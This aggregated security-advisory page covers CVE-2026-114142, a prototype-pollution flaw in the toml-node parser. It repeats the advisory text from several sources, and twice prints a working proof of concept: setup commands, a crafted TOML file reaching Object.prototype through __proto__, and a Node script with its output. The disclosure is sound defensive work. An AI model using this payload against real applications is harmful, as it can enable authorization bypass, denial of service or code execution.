Every CVE Search/ Get API key

CVE-2026-114142

toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype

8.8 HighFix available

toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

Exploit likelihood

0.51%Up 0.2 points since Oct 22, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype

toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.

Record
CVE-2026-114142
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-1321
Updated
2026-11-02
EUVDEUVD-2026-107553 8.8

toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.

Record
EUVD-2026-107553
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-h895-cgqg-jf52 8.8

toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype

Summary

CVE-2026-63376 described prototype pollution through proto key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.

A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.

Details

Three gaps compose. All line numbers are lib/compiler.js in 5.0.0.

1. The path-key encoding is ambiguous. quoteDottedString() quotes a segment only when it contains a ., and never escapes a " inside the segment:

287:  function quoteDottedString(str) {
288:    if (str.indexOf(".") > -1) {
289:      return "\"" + str + "\"";
290:    } else {
291:      return str;
292:    }
293:  }

So the key path ['x.y'] and the key path ['"x', 'y"'] both render as the string "x.y". This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.

2. A table-array header can clear another key's guard. addTableArray() walks assignedPaths / valueAssignments with isSameOrSubPath() over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.

3. The descent in assign() has no owned-container check. deepRef() applies isOwnedContainer() only to intermediate segments (lib/compiler.js:265, :273) and returns the final container unchecked. assign() then walks it with only a shape test:

 93:      target = target[k];
...
103:    target[lastKey] = reduced;

A TOML datetime is a Date. It satisfies typeof target[k] === "object" and is not an array, so the walk descends into it — and a Date has a live prototype chain to Object.prototype.

Putting the three together, a document can make the current table a Date and then walk __proto__.__proto__ to Object.prototype.

mkdir poc && cd poc && npm init -y >/dev/null && npm install [email protected]
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"

Line 1 defines a key whose rendered path is "b.c" and whose value is a Date. Line 2 is a table-array header whose rendered path collides with it, clearing its guard. Line 3 re-enters that key, so the current table is now the Date. Line 4 walks Date → Date.prototype → Object.prototype.

// poc.js
const toml = require('toml');
const fs = require('fs');

console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
$ node poc.js
before: undefined
after:  "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"

The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.

A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.

Impact

Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.

Suggested fix: in assign(), apply the same check…

Record
GHSA-h895-cgqg-jf52
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-1321
Updated
2026-11-02
NVD 8.8

toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.

Record
CVE-2026-114142
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-1321
Updated
2026-11-02
OSV 8.8

toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype

toml-node is a TOML parser for Node.js and the browser. Prior to 5.0.1, toml.parse() can write attacker-controlled properties to Object.prototype because quoteDottedString() in lib/compiler.js produces the same bookkeeping string for distinct quoted key paths, allowing addTableArray() to clear another key's guard. The assign() path then descends through an unowned Date value without applying the owned-container check and can reach the prototype chain. Objects created elsewhere in the process can inherit the injected property. This issue is fixed in version 5.0.1.

Record
CVE-2026-114142
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-1321
Updated
2026-11-02
OSVGHSA-h895-cgqg-jf52 8.8

toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype

Summary

CVE-2026-63376 described prototype pollution through proto key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.

A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.

Details

Three gaps compose. All line numbers are lib/compiler.js in 5.0.0.

1. The path-key encoding is ambiguous. quoteDottedString() quotes a segment only when it contains a ., and never escapes a " inside the segment:

287:  function quoteDottedString(str) {
288:    if (str.indexOf(".") > -1) {
289:      return "\"" + str + "\"";
290:    } else {
291:      return str;
292:    }
293:  }

So the key path ['x.y'] and the key path ['"x', 'y"'] both render as the string "x.y". This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.

2. A table-array header can clear another key's guard. addTableArray() walks assignedPaths / valueAssignments with isSameOrSubPath() over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.

3. The descent in assign() has no owned-container check. deepRef() applies isOwnedContainer() only to intermediate segments (lib/compiler.js:265, :273) and returns the final container unchecked. assign() then walks it with only a shape test:

 93:      target = target[k];
...
103:    target[lastKey] = reduced;

A TOML datetime is a Date. It satisfies typeof target[k] === "object" and is not an array, so the walk descends into it — and a Date has a live prototype chain to Object.prototype.

Putting the three together, a document can make the current table a Date and then walk __proto__.__proto__ to Object.prototype.

mkdir poc && cd poc && npm init -y >/dev/null && npm install [email protected]
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"

Line 1 defines a key whose rendered path is "b.c" and whose value is a Date. Line 2 is a table-array header whose rendered path collides with it, clearing its guard. Line 3 re-enters that key, so the current table is now the Date. Line 4 walks Date → Date.prototype → Object.prototype.

// poc.js
const toml = require('toml');
const fs = require('fs');

console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
$ node poc.js
before: undefined
after:  "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"

The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.

A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.

Impact

Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.

Suggested fix: in assign(), apply the same check…

Record
GHSA-h895-cgqg-jf52
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-1321
Updated
2026-11-02
OSVCLSA-2026-1793099990 No score

TuxCare security update for toml (3 CVEs)

TuxCare rebuilt toml to address 3 CVEs. Fixed in 4.3.0-tuxcare.1.

Record
CLSA-2026-1793099990
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
tome
npm
through 5.0.0
5.0.1
toml
TuxCare:npm
From an advisory covering 3 CVEs
4.3.0-tuxcare.0 up to 4.3.0-tuxcare.1, plus listed versions
4.3.0
4.3.0-tuxcare.1
toml
npm
before 5.0.1
5.0.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-114142 is a high vulnerability (CVSS 8.8) in Binarymuse Toml-node, published October 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in tome 5.0.1.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open